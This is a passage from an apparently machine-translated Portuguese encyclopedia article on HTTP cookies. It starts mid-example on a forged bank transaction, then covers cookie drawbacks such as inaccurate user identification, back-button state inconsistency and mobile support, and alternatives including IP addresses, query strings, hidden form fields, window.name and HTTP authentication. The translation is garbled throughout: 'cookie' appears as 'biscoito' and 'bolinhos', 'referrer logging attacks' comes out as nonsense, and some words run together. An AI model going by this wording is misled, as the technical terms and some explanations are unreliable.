Se o banco de Bob mantém a sua informação de autenticação em um cookie, e se o cookie não tiver expirado, então a tentativa por parte de Bob navegador para carregar a imagem apresentará o formulário de resolução com seu biscoito, autorizando, assim, uma transação sem a aprovação do Bob.

Desvantagem de biscoitos

Além de preocupações com a privacidade, os cookies também têm algumas desvantagens técnicas. Em particular, eles nem sempre identificar com precisão os usuários, eles podem ser usados ​​para ataques de segurança, e eles são muitas vezes em desacordo com a Representational State Transfer ( estilo arquitetônico software REST).

Identificação imprecisa

Se mais de um navegador é usado em um computador, cada um geralmente tem uma área de armazenamento separado para cookies. Daí os cookies não identificam uma pessoa, mas uma combinação de uma conta de usuário, um computador e um navegador web. Assim, qualquer pessoa que usa várias contas, computadores ou navegadores tem vários conjuntos de cookies.

Da mesma forma, os cookies não diferenciar entre vários usuários que compartilham a mesmaconta de usuário, computador e browser.

Estado inconsistente no cliente e servidor

O uso de cookies pode gerar uma inconsistência entre o estado do cliente e do Estado como armazenado no cookie. Se o usuário adquire um cookie e, em seguida, clica no botão "Voltar" do navegador, o estado no navegador, geralmente não é a mesma de antes que a aquisição. Como um exemplo, se o carrinho de compras de uma loja on-line é construído usando cookies, o conteúdo do carrinho pode não mudar quando o usuário vai para trás na história do navegador: se o usuário pressionar um botão para adicionar um item no carrinho de compras e em seguida, clica no botão "Voltar", o item permanece no carrinho de compras. Isto pode não ser a intenção do utilizador, que possivelmente queria desfazer a adição do item. Isso pode levar a baixa confiabilidade, confusão e erros. Os desenvolvedores da Web deve, portanto, estar ciente desta questão e implementar medidas para lidar com tais situações.

Suporte inconsistente por dispositivos

O problema com o uso de cookies móveis é que a maioria dos dispositivos que não implementaram os cookies; por exemplo, Nokia suporta apenas cookies em 60% dos seus dispositivos, enquanto Motorola suporta apenas cookies em 45% de seus telefones. Além disso, alguns gateways e redes ( Verizon, Alltel, e MetroPCS) biscoitos tira, enquanto outras redes de simular os cookies em nome de seus dispositivos móveis. Há também variações dramáticas nos mercados sem fio em todo o mundo; por exemplo, no Reino Unido 94% dos dispositivos sem fios suporta biscoitos, enquanto que nos Estados Unidos apenas 47% apoiá-los.

O suporte para cookies é maior no Extremo Oriente, onde dispositivos sem fio são mais comumente usados ​​para acessar a web. Bolinhos de móveis é uma prática já em vigor no Japão , de modo que se assiste a um podcast, um vídeo, TV, clicando em uma calculadora de empréstimo ou um GPS mapa-em quase todos os dispositivos sem fio-cookies podem ser definidas para rastreamento e captura de comportamentos sem fio.

Alternativas para biscoitos

Algumas das operações que podem ser feitas utilizando os cookies também pode ser feita utilizando outros mecanismos.

Endereço de IP

Alguns utilizadores podem ser rastreados com base no endereço IP do computador solicitante da página. O servidor sabe o endereço IP do computador que executa o navegador ou o proxy, se houver é usado, e poderia, teoricamente, ligar uma sessão do usuário para este endereço IP.

Os endereços IP são, em geral, não uma maneira confiável de acompanhar uma sessão ou identificar um usuário. Muitos computadores concebidos para serem utilizados por um único usuário, como PCs de escritório ou PCs domésticos, está atrás de um conversor de endereços de rede (NAT). Isso significa que vários PCs irá compartilhar um endereço IP público. Além disso, alguns sistemas, como o Tor, são projetados para manter o anonimato Internet, tornando rastreamento por endereço IP impraticável, impossível, ou um risco de segurança.

URL (string de consulta)

Uma técnica mais precisa é baseado na incorporação de informações em URLs. O parte seqüência de consulta daURL é aquele que é normalmente usado para este fim, mas outras partes pode ser usado também. O Java Servlet emecanismos de sessão PHP tanto usar este método se os cookies não estão habilitados.

Este método consiste no servidor web anexando cadeias de consulta para os links de uma página web que detém quando enviá-lo para um navegador. Quando o utilizador segue um link, o navegador retorna a string de consulta ligado ao servidor.

Seqüências de consulta utilizados desta forma e biscoitos são muito semelhantes, sendo ambos partes arbitrárias de informações escolhidos pelo servidor e enviados de volta pelo navegador. No entanto, existem algumas diferenças: uma vez que uma cadeia de consulta é parte de um URL, que se URL é depois reutilizado, a mesma peça anexa de informação é enviada para o servidor. Por exemplo, se as preferências de utilizador são codificados na cadeia de consulta de um URL e o utilizador envia este URL para outro utilizador por correio electrónico , essas preferências serão utilizados para esse outro utilizador também.

Além disso, mesmo se o mesmo usuário acessa a mesma página duas vezes, não há garantia de que a mesma cadeia de consulta é usado em ambos os pontos de vista. Por exemplo, se o mesmo utilizador chega à mesma página, mas proveniente de uma página interna para o local do primeiro momento e a partir de uma fonte externa motor de busca pela segunda vez, as cadeias de consulta relativos são tipicamente diferente, enquanto os biscoitos seria o mesmo. Para mais detalhes, consulte consulta corda.

Outras desvantagens de seqüências de consulta estão relacionados à segurança: o armazenamento de dados que identifica uma sessão em uma seqüência de consulta ativa ou simplifica ataques de fixação de sessão, ataques madeireiras referenciador e outras falhas de segurança. Transferência de identificadores de sessão como cookies HTTP é mais seguro.

Campos de formulário ocultos

Outra forma de rastreamento de sessão é a utilização de formulários da web com campos ocultos. Esta técnica é muito semelhante ao uso de cadeias de consulta URL para segurar a informação e tem muitas das mesmas vantagens e desvantagens; e se a forma é tratada com o método HTTP GET, os campos realmente tornar-se parte da URL do navegador enviarei sobre o envio do formulário. Mas a maioria das formas são tratadas com HTTP POST, que faz com que as informações do formulário, incluindo os campos ocultos, a ser anexado como entrada extra que não é nem parte da URL, nem de um cookie.

Esta abordagem apresenta duas vantagens do ponto de vista do tracker: em primeiro lugar, ter as informações de rastreamento colocados em HTML e entrada POST em vez de no URL significa que ele não vai ser notado pelo usuário médio; segundo, as informações da sessão não é copiado quando as cópias de usuários a URL (para salvar a página em disco ou enviá-lo via e-mail, por exemplo).

Este método pode ser usado facilmente com qualquer estrutura que suporta formulários web.

window.name

Todos os navegadores atuais podem armazenar uma grande quantidade de dados (2-32 MB) via JavaScript usando a propriedade DOM window.name. Estes dados podem ser utilizados em vez de cookies de sessão e é também entre domínios. A técnica pode ser acoplado com objetos JSON / JavaScript para armazenar conjuntos complexos de variáveis ​​de sessão no lado do cliente.

A desvantagem é que cada janela separada ou guia terá inicialmente um vazio window.name ; em tempos de navegação por abas, isto significa que as abas abertas individualmente (iniciação pelo usuário) não terá um nome de janela. Além disso window.name pode ser usado para monitoramento de visitantes em diferentes sites, tornando-se motivo de preocupação para a privacidade na Internet.

Em alguns aspectos, isso pode ser mais seguro do que os cookies, devido à não interferência do servidor, para que ele não é vulnerável a rede ataques de biscoito sniffing. No entanto, se não forem tomadas medidas especiais para proteger os dados, é vulnerável a outros ataques porque os dados estão disponíveis em diferentes sites abertos na mesma janela ou aba.

Autenticação HTTP

O protocolo HTTP inclui a autenticação de acesso básico e os protocolos de autenticação de acesso Digest, que permitem o acesso a uma página web apenas quando o usuário forneceu o nome de usuário e senha corretamente. Se o servidor exigir tais credenciais para a concessão de acesso a uma página web, o navegador solicita-los do usuário e, uma vez obtido, o navegador armazena e envia-los em cada solicitação de página subsequente. Esta informação pode ser usada para controlar o utilizador.